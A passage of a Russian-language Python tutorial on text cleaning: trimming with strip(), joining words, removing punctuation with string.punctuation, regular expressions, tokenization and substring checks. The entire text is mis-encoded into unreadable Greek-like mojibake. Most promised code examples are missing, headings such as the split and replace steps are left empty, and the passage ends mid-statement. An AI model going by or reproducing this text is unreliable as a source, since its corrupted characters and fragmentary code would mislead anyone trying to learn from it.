ΠΡΠ΅ ΠΎΠ΄Π½ΠΎ Π²Π°ΠΆΠ½ΠΎΠ΅ ΠΎΡΠΎΠ±Π΅Π½Π½ΠΎΡΡΡ - Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΡ ΡΠ΄Π°Π»ΡΡΡ Π»ΠΈΡΠ½ΠΈΠ΅ Π½Π°ΡΠ°Π»ΡΠ½ΡΠ΅ ΠΈ ΠΊΠΎΠ½Π΅ΡΠ½ΡΠ΅ ΡΠΈΠΌΠ²ΠΎΠ»Ρ ΠΈΠ· ΡΡΡΠΎΠΊΠΈ.ΠΠ»Ρ ΡΡΠΎΠ³ΠΎ Ρ Π½Π°Ρ Π΅ΡΡΡ ΡΠ΅ΠΌΠ΅ΠΉΡΡΠ²ΠΎ ΡΡΠ½ΠΊΡΠΈΠΉ strip ()
:
- ΠΡΡΠ΅Π·Π°ΡΡ ΠΏΡΠΎΠ±Π΅Π»Ρ ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ.
- ΠΡΡΠ΅ΠΆΡΡΠ΅ ΠΏΡΠΎΠΌΠ΅ΠΆΡΡΠΊΠΈ ΡΠ»Π΅Π²Π° ΠΈΠ»ΠΈ ΡΠΏΡΠ°Π²Π°.
- ΠΡΡΠ΅Π·Π°ΡΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»ΡΡΠΊΠΈΠ΅ ΡΠΈΠΌΠ²ΠΎΠ»Ρ.
ΠΡΠΎΠΌΠ΅ ΡΠΎΠ³ΠΎ, Π΅ΡΡΡ ΠΏΠΎΠ»Π΅Π·Π½Π°Ρ ΡΡΠ½ΠΊΡΠΈΡ Π΄Π»Ρ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ ΡΠΈΡΠ΅Π» Π²Π΅Π΄ΡΡΠΈΠΌΠΈ Π½ΡΠ»ΡΠΌΠΈ:
5. ΠΠ΅ΠΊΠΎΠ½ΡΡΡΡΠΊΡΠΈΡ ΠΈ Π²ΠΎΡΡΠΎΠ·Π΄Π°Π½ΠΈΠ΅
ΠΠ»Ρ ΡΠΎΠ·Π΄Π°Π½ΠΈΡ ΡΠ΅ΠΊΡΡΠ° ΡΡΠ΅Π±ΡΠ΅ΡΡΡ ΠΏΠΎΡΡΡΠΎΠ΅Π½ΠΈΠ΅ ΠΏΡΠ΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΈ ΡΡΠ°Π· ΠΈΠ· ΡΠ»ΠΎΠ²Π°ΡΡ ΡΠ»ΠΎΠ². ΠΠ°ΠΊ ΠΏΡΠΎΡΠ΅ΡΡ, ΡΡΠΎ ΠΎΠ±ΡΠ°ΡΠ½ΠΎΠ΅ ΡΠ°Π·Π΄Π΅Π»Π΅Π½ΠΈΡ ΡΡΡΠΎΠΊΠΈ. Python ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ Π½Π°ΠΌ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ Π²ΡΡΡΠΎΠ΅Π½Π½ΡΠΉ ΡΡΡΠΎΠΊΠΎΠ²ΡΠΉ ΠΌΠ΅ΡΠΎΠ΄ join ()
Π΄Π»Ρ ΠΎΠ±ΡΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΡ ΡΠ»ΠΎΠ² ΠΎΠ±ΡΠ°ΡΠ½ΠΎ Π² ΠΏΡΠ΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅:
6.Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅ Π·Π½Π°ΠΊΠΎΠ² ΠΏΡΠ΅ΠΏΠΈΠ½Π°Π½ΠΈΡ
ΠΡΠΎ Π΅ΡΠ΅ ΠΎΠ΄ΠΈΠ½ Π²Π°ΡΠΈΠ°Π½Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ Π² Π½Π°Π±ΠΎΡΠ΅ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠΎΠ² Π΄Π»Ρ ΠΎΡΠΈΡΡΠΊΠΈ ΡΠ΅ΠΊΡΡΠ°. ΠΠΎΠ΄ΡΠ»Ρ Python string
ΠΈΠΌΠ΅Π΅Ρ ΠΌΠ½ΠΎΠΆΠ΅ΡΡΠ²ΠΎ Π²ΡΡΡΠΎΠ΅Π½Π½ΡΡ
ΠΊΠΎΠ½ΡΡΠ°Π½Ρ Ρ ΠΎΡΠ΄Π΅Π»ΡΠ½ΡΠΌ Π½Π°Π±ΠΎΡΠΎΠΌ ΡΠΈΠΌΠ²ΠΎΠ»ΠΎΠ². string.punctuation
- ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π½ΠΈΡ
, ΠΏΠΎΡΡΠΎΠΌΡ ΠΌΡ Π±ΡΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ Π΅Π³ΠΎ Π΄Π»Ρ ΠΎΡΠΈΡΡΠΊΠΈ ΡΡΡΠΎΠΊΠΈ.
7. Π Π°Π±ΠΎΡΠ° Ρ ΠΊΠ΅ΠΉΡΠ°ΠΌΠΈ
Π€ΠΎΡΠΌΠ°ΡΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ ΡΠ΅ΠΊΡΡΠ° - ΠΏΡΠΎΠ±Π»Π΅ΠΌΠ° ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΡΠΏΠ΅ΡΠΈΠ°Π»ΠΈΡΡΠ° ΠΏΠΎ Π΄Π°Π½Π½ΡΠΌ. Π‘Π»ΠΎΠ²Π°, Π² ΠΊΠΎΡΠΎΡΡΡ Π½Π΅Ρ ΡΠ»Π΅Π΄ΡΡΡΠΈΡ Π΄ΡΡΠ³ Π·Π° Π΄ΡΡΠ³ΠΎΠΌ ΠΏΠ°Π΄Π΅ΠΆΠ΅ΠΉ, ΠΈ ΠΏΡΠ΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΡ Π² ΡΠ°Π·Π½ΡΡ ΡΠΎΡΠΌΠ°ΡΠ°Ρ ΡΠΎΠ·Π΄Π°ΡΡ ΠΌΠ°ΡΡΡ ΠΏΡΠΎΠ±Π»Π΅ΠΌ ΠΏΡΠΈ ΠΎΡΠΈΡΡΠΊΠ΅ Π΄Π°Π½Π½ΡΡ .ΠΠ΄Π½Π°ΠΊΠΎ Π΄Π»Ρ ΡΡΠΈΡ Π·Π°Π΄Π°Ρ ΡΡΡΠ΅ΡΡΠ²ΡΡΡ ΠΈ Π΄ΡΡΠ³ΠΈΠ΅ ΡΡΠ½ΠΊΡΠΈΠΈ Python:
8. ΠΠΈΡ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΡΡ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠΉ
ΠΠ½ΠΎΠ³Π΄Π° ΠΎΡΠΈΡΡΠΊΡ ΡΠ΅ΠΊΡΡΠ° Π½Π΅Π»Π΅Π³ΠΊΠΎ ΠΎΠ±Π΅ΡΠΏΠ΅ΡΠΈΡΡ Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½Π½ΡΡ ΡΠΈΠΌΠ²ΠΎΠ»ΠΎΠ² ΠΈΠ»ΠΈ ΡΡΠ°Π·. ΠΠΌΠ΅ΡΡΠΎ ΡΡΠΎΠ³ΠΎ Π½Π°ΠΌ Π½ΡΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ ΡΠ°Π±Π»ΠΎΠ½Ρ. ΠΡΠΎ ΠΈΠ΄Π΅Π°Π»ΡΠ½ΠΎΠ΅ ΠΏΠΎΠ»Π΅ Π΄Π»Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΡΡ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠΉ ΠΈ ΠΏΠΎΠ΄Ρ ΠΎΠ΄ΡΡΠ΅Π³ΠΎ ΠΌΠΎΠ΄ΡΠ»Ρ Python.
ΠΡ Π½Π΅ Π±ΡΠ΄Π΅ΠΌ ΠΎΠ±ΡΡΠΆΠ΄Π°ΡΡ Π²ΡΡ ΠΌΠΎΡΡ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΠΎΠ³ΠΎ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ, Π° ΡΠΎΡΡΠ΅Π΄ΠΎΡΠΎΡΠΈΠΌΡΡ Π½Π° Π΅Π³ΠΎ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡΡ - Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, Π½Π° ΡΠ°Π·Π΄Π΅Π»Π΅Π½ΠΈΠΈ ΠΈ Π·Π°ΠΌΠ΅Π½Π΅ Π΄Π°Π½Π½ΡΡ . ΠΠ°, ΡΡΠΈ Π·Π°Π΄Π°ΡΠΈ ΠΎΠΏΠΈΡΠ°Π½Ρ Π²ΡΡΠ΅, Π½ΠΎ Π²ΠΎΡ Π±ΠΎΠ»Π΅Π΅ ΠΌΠΎΡΠ½Π°Ρ Π°Π»ΡΡΠ΅ΡΠ½Π°ΡΠΈΠ²Π°.
Π Π°Π·Π΄Π΅Π»ΠΈΡΡ ΠΏΠΎ ΡΠ°Π±Π»ΠΎΠ½Ρ:
ΠΠ°ΠΌΠ΅Π½ΠΈΡΡ ΠΏΠΎ ΡΠ°Π±Π»ΠΎΠ½Ρ:
9. Π’ΠΎΠΊΠ΅Π½ΠΈΠ·ΠΈΡΠΎΠ²Π°ΡΡ ΡΡΡΠΎΠΊΡ
ΠΡΠΈΡΠ»ΠΎ Π²ΡΠ΅ΠΌΡ ΡΠΎΠ±ΡΠ°ΡΡ Π²ΡΠ΅ ΡΠ»ΠΎΠ²ΠΊΠΈ, ΠΊΠΎΡΠΎΡΡΠ΅ ΠΌΡ ΡΠ·Π½Π°Π»ΠΈ ΡΠ°Π½Π΅Π΅, ΠΈ ΠΏΡΠΈΠΌΠ΅Π½ΠΈΡΡ ΠΈΡ
Π΄Π»Ρ ΡΠ΅Π°Π»ΡΠ½ΠΎΠΉ ΡΠΎΠΊΠ΅Π½ΠΈΠ·Π°ΡΠΈΠΈ. ΠΠ΄Π½Π°ΠΊΠΎ ΠΌΡ Π½Π΅ Π±ΡΠ΄Π΅ΠΌ ΠΏΠΎΠ²ΡΠΎΡΡΡΡ Π²Π΅ΡΡ ΠΊΠΎΠ΄. ΠΠΎΡ ΠΏΡΠΈΠΌΠ΅Ρ Π΄ΠΎΠ²ΠΎΠ»ΡΠ½ΠΎ ΠΊΡΡΡΠΎΠΉ Π°Π»ΡΡΠ΅ΡΠ½Π°ΡΠΈΠ²Ρ Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ ΠΏΠ°Π½Π΄ ΠΈ
. Π Π½Π°ΡΠ΅ΠΌ ΠΏΡΠΈΠΌΠ΅ΡΠ΅ ΠΌΡ Π΄ΠΎΠ»ΠΆΠ½Ρ ΠΎΡΠΈΡΡΠΈΡΡ ΡΡΡΠΎΠΊΡ ΠΎΡ Π»ΠΈΡΠ½ΠΈΡ
ΡΠΈΠΌΠ²ΠΎΠ»ΠΎΠ², ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°ΡΡ Π΅Π΅ Π² Π΅Π΄ΠΈΠ½ΠΈΡΠ½ΡΠΉ ΡΠ΅Π³ΠΈΡΡΡ ΠΈ ΡΠ°Π·Π±ΠΈΡΡ Π΅Π΅ Π½Π° ΡΠΎΠΊΠ΅Π½Ρ.
10. (ΠΠΎΠ½ΡΡ) ΠΠ°ΠΉΠ΄ΠΈΡΠ΅ ΠΏΠΎΠ΄ΡΡΡΠΎΠΊΡ
ΠΠ΅ΡΠ΅Π΄ Π»ΡΠ±ΠΎΠΉ Π·Π°Π΄Π°ΡΠ΅ΠΉ ΠΏΠΎ ΠΎΡΠΈΡΡΠΊΠ΅ ΠΌΡ Π΄ΠΎΠ»ΠΆΠ½Ρ ΠΎΠΏΡΠ΅Π΄Π΅Π»ΠΈΡΡ, Π΄Π΅ΠΉΡΡΠ²ΠΈΡΠ΅Π»ΡΠ½ΠΎ Π»ΠΈ Π½Π°ΠΌ Π½ΡΠΆΠ½Π° ΠΎΡΠΈΡΡΠΊΠ°.Π Π±ΠΎΠ»ΡΡΠΈΠ½ΡΡΠ²Π΅ ΡΠ»ΡΡΠ°Π΅Π² Π²ΠΎΠΏΡΠΎΡ ΡΠ²ΠΎΠ΄ΠΈΡΡΡ ΠΊ ΠΏΠΎΠΈΡΠΊΡ ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ ΡΠΈΠΌΠ²ΠΎΠ»Π° ΠΈΠ»ΠΈ ΡΡΠ°Π·Ρ Π² ΡΠ΅ΠΊΡΡΠ΅. Python ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Π»ΡΠ΅Ρ ΠΌΠ½ΠΎΠΆΠ΅ΡΡΠ²ΠΎ ΡΡΠ½ΠΊΡΠΈΠΉ Π΄Π»Ρ Π½Π°ΡΠΈΡ ΡΠ΅Π»Π΅ΠΉ.
ΠΠΎΠ½Π΅ΡΠ½Π°Ρ ΠΏΠΎΠ΄ΡΡΡΠΎΠΊΠ°:
test_string.endswith ('dog') Out [1]: True
ΠΠ΅Π΄ΡΡΠ°Ρ ΠΏΠΎΠ΄ΡΡΡΠΎΠΊΠ°:
test_string.startswith ('dog') Out [2]: False
ΠΠ±ΡΠ°Ρ ΠΏΡΠΎΠ²Π΅ΡΠΊΠ°:
' fox ' Π² test_stringOut [3]: True
ΠΠΎΠ»ΡΡΠΈΡΡ ΠΈΠ½Π΄Π΅ΠΊΡ ΠΏΠΎΠ΄ΡΡΡΠΎΠΊΠΈ:
test_string.